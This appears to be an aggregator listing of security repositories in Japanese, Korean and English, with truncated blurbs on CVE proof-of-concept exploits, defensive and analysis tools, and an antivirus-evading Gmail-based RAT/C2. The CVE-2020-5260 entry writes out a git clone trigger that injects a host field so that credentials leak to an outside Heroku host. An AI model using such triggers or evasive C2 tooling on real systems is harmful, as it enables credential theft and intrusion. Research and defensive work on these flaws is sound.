CVE-2019-0708

RDP 概念実証 これは CVE-2019-0708 の概念実証ソースコードです。...

OWASP-WSTG-Rag

OWASP WSTG RAG OWASP Web Security Testing Guide（WSTG）をベクトルデータベースにインデックス化し、REST APIとClaude Code統合のためのMCP（Model Context Protocol）を介して、セキュリティテスト手法への即時アクセスを提供する検索拡張生成（RAG）システムです。 機能 WSTG完全カバレッジ - 全12のWSTGテストカテゴリをインデックス化して検索可能 セマンティック検索 - 自然言語クエリで関連するテスト手法を検索 MCP統合 - AI支援ペネトレーションテストのためのClaude...

CVE-2022-26809

CVE の説明 CVE-2022-26809 - Windows の中核コンポーネントRPCの脆弱性で、CVSS スコア 9.8 を獲得しましたが、これには理由があります。この攻撃は認証を必要とせず、ネットワーク経由でリモートから実行でき、RPC ランタイムをホストするプロセスに依存する RPC サービスの権限で、リモートコード実行RCEにつながる可能性があります。この重大なバグは、運が良ければ、パッチ未適用で SMB を実行している Windows...

cve-2020-5260

cve-2020-5260 Heroku にデプロイできる cve-2020-5260 用の HTTP PoC エンドポイント クレジット情報 Google Project Zero の Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 脆弱性を発動する root@kitploit: git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' PoC を...

CVE-2024-9932-POC

CVE-2024-9932-POC 説明: Wux Blog Editor WordPress プラグインは、wuxbtinsertImageNew 関数におけるファイルタイプ検証の不備により、任意のファイルアップロードに対して脆弱です。影響を受けるバージョンは 3.0.0 までです。この脆弱性により、認証されていない攻撃者がサーバーに任意のファイルをアップロードでき、リモートコード実行 RCE につながる可能性があります。 脆弱性の詳細 この脆弱性は、wuxbtinsertImageNew...

laravel-poc-CVE-2018-15133

Laravel Remote Code Execution : APPKEY 漏洩時の PoC CVE-2018-15133 このリポジトリには、PHP 7.2.10 上で動作するシンプルな Laravel 5.6.29 アプリケーションと、routes/web.php に追加された基本的な noop ルート（Dockerfile 参照）、および CVE-2018-15133 用の Proof of Concept エクスプロイト（cve-2018-15133.php）が含まれています。このエクスプロイトは Laravel アプリケーションを悪用し、ターゲットシステム上で uname -...

gmailc2

gmailc2 root@kitploit: 완전 탐지 불가능한 C2 서버로, Google SMTP를 통해 통신하여 안티바이러스 보호 및 네트워크 트래픽 제한을 우회합니다. 참고: root@kitploit: 이 RAT는 Gmail SMTP를 통해 통신합니다 또는 다른 SMTP를 사용할 수도 있음. 그러나 Gmail SMTP가 유효한 이유는 대부분의 회사에서 알 수 없는 트래픽을 차단하기 때문에 Gmail 트래픽은 유효하며 어디서나 허용됩니다. 경고: root@kitploit: 1. VirusTotal.com에 페이로드를 업로드하지...

gmailc2

gmailc2 root@kitploit: A Fully Undetectable C2 Server That Communicates Via Google SMTP to evade Antivirus Protections and Network Traffic Restrictions Note: root@kitploit: This RAT communicates Via Gmail SMTP or u can use any other smtps as well but Gmail SMTP is valid because most of the...

libpeconv

libPeConv PEファイルをロードおよび操作するためのライブラリ。 目的 libPeConv の目標は、PEファイルのカスタムロードのための「スイスアーミーナイフ」を作成することでした。独自のローダーにすばやく統合できるさまざまなヘルパー関数を集めています。例：セクションの再マッピング、リロケーションの適用、インポートのロード、リソースの解析。 PEファイルのロードだけでなく、いくつかのステップのカスタマイズも可能です。すなわち、IATフック（カスタムIATリゾルバを提供することによる）、および関数のリダイレクトです。ただし、インラインフックに焦点を当てているわけではなく、MS...

CVE-2025-24104

CVE-2025-24104 ライトアップ: サンドボックス外のファイルの読み取り 私は Apple が後に CVE-2025-24104 として追跡したバグを報告しました。当初の報告では、悪意のあるバックアップを使用してサンドボックス制限をバイパスする方法を示しました。しかし、Apple の最初の説明では、この脆弱性は保護されたシステムファイルの改変につながる可能性があると述べられていました。ここで正しい情報を提供します。このバグは実際には、攻撃者がサンドボックスの外部にある任意のファイルを読み取ることを可能にします。 タイムライン 発見日: 2024年4月 報告日: 2024年10月...

ldsview

ldsview LDIF 형식의 LDAP 디렉토리 덤프를 위한 오프라인 검색 도구. 기능 LDIF 파일의 빠르고 메모리 효율적인 파싱 디렉토리에서 LDIF를 추출하기 위한 ldapsearch 명령어 생성 디렉토리 구조 표시 UAC 및 디렉토리 시간 형식 변환 설정 설정 옵션은 CLI 플래그, 환경 변수 또는 viper를 통한 설정 파일로 전달할 수 있습니다. 구성을 제공할 수 있는 다양한 방법에 대해서는 프로젝트 문서를 참조하세요. 기본적으로 ldsview는 사용자의 홈 디렉토리에서 .ldsview.json,toml,yaml 파...

ldsview

ldsview Offline search tool for LDAP directory dumps in LDIF format. Features Fast and memory efficient parsing of LDIF files Build ldapsearch commands to extract an LDIF from a directory Show directory structure UAC and directory time format translation Config Config options can be passed as CLI...

xiaomi-cve-2024-45352

xiaomi-cve-2024-45352 Xiaomiの重大な脆弱性に関する技術レポート 脆弱性の概要 Xiaomiのデフォルトブラウザ（com.android.browser）において、複数のMIUIデバイスで脆弱性が発見されました。このアプリはstartActivityを介して渡されるインテントを適切に検証しないため、悪意のあるアプリが任意のURLを開いたり、意図しないアクションを実行したりすることが可能です。 CVE ID : CVE-2024-45352 コンポーネント :com.android.browser 重要度 : Medium ステータス :...

auditpolCIS

auditpolCIS Windows SIEM 구성의 CIS 벤치마크 테스트 이 애플리케이션은 Windows 감사 정책 설정이 CIS 벤치마크 권장 설정에 부합하는지 테스트하는 도구입니다. 몇 가지 참고 사항: 테스트된 시스템은 Windows Server 2019이며, 사용된 벤치마크 역시 Windows Server 2019입니다. 스크립트는 SSH를 통해 연결합니다. SSH는 Windows Server 2019에 포함되어 있으며, 활성화하기만 하면 됩니다. WinRM또는 다른 연결 방식을 원하시면 알려주시거나 PR을 보내주세요...

POC-CVE-2023-32233

バッチリクエスト処理における Netfilter nftables の Use-After-Free デモ 脆弱性の詳細 影響を受けるコードは、https://kernel.org/ の公式 Linux カーネルに由来し、Netfilter nftables コンポーネント net/netfilter/nftablesapi.c の一部です。 Netfilter nftables は、その構成を原子操作として更新することを可能にします。この機能を使用する場合、ユーザーモードのクライアントは基本操作のリストを含むバッチリクエストを送信します。Netfilter nftables...

flowinspect

flowinspect ネットワークトラフィック検査ツール 説明: libnids（Jon Oberheide による Python バインディング: pynids）を使用して、IP の断片化を解除し TCP パケットを再構成します（UDP はパケット単位で検査されます）。これによりネットワークフローを生成します。これらのフローは、次の 4 つの検査モードのいずれかを使用して検査されます: regex（re2 - Python バインディング: pyre2） ファジー文字列マッチング（fuzzywuzzy） libemu（Python バインディング: pylibemu）...

shomon

ShoMon은 GoLang으로 작성된 TheHive용 Shodan 알림 피더입니다. v2.0으로 더욱 강력해졌습니다! 기능 웹훅Webhook 또는 스트림Stream 리스너로 사용 가능 웹훅 리스너는 Shodan이 알림을 보낼 RESTful API 엔드포인트를 엽니다. 즉, 이 엔드포인트를 공개 네트워크에 노출해야 합니다. 스트림 리스너는 Shodan에 연결하여 알림 스트림을 가져와 파싱합니다. Shodan과의 상호 작용을 위해 shadowscatcher/shodan 훌륭한 작업을 활용합니다. 콘솔 로그는 JSON 형식으로, 다...

CVE-2020-2555

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 root@kitploit: / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...

bn-uefi-helper

bn-uefi-helper 주의: 이 플러그인은 더 이상 사용되지 않습니다. 참조 EFI Resolver 설명 UEFI 펌웨어 분석을 위한 도우미 플러그인입니다. 이 플러그인은 다음 기능을 포함합니다: 진입점 함수에 올바른 프로토타입 적용 모든 세그먼트가 RWX이고 올바른 의미를 갖도록 세그먼트 수정 이를 통해 전역 함수 포인터가 올바르게 렌더링됩니다. 핵심 UEFI 서비스EDK-II에 대한 유형 적용 알려진 프로토콜 GUID를 찾아 GUID 유형 및 심볼 할당 진입 및 초기화 함수에서 전역 할당을 찾고 유형 할당...

bn-uefi-helper

bn-uefi-helper ATTENTION: This plugin has been deprecated. See EFI Resolver Description Helper plugin for analyzing UEFI firmware. This plugin contains the following features: Apply the correct prototype to the entry point function Fix segments so all segments are RWX and have the correct semanti...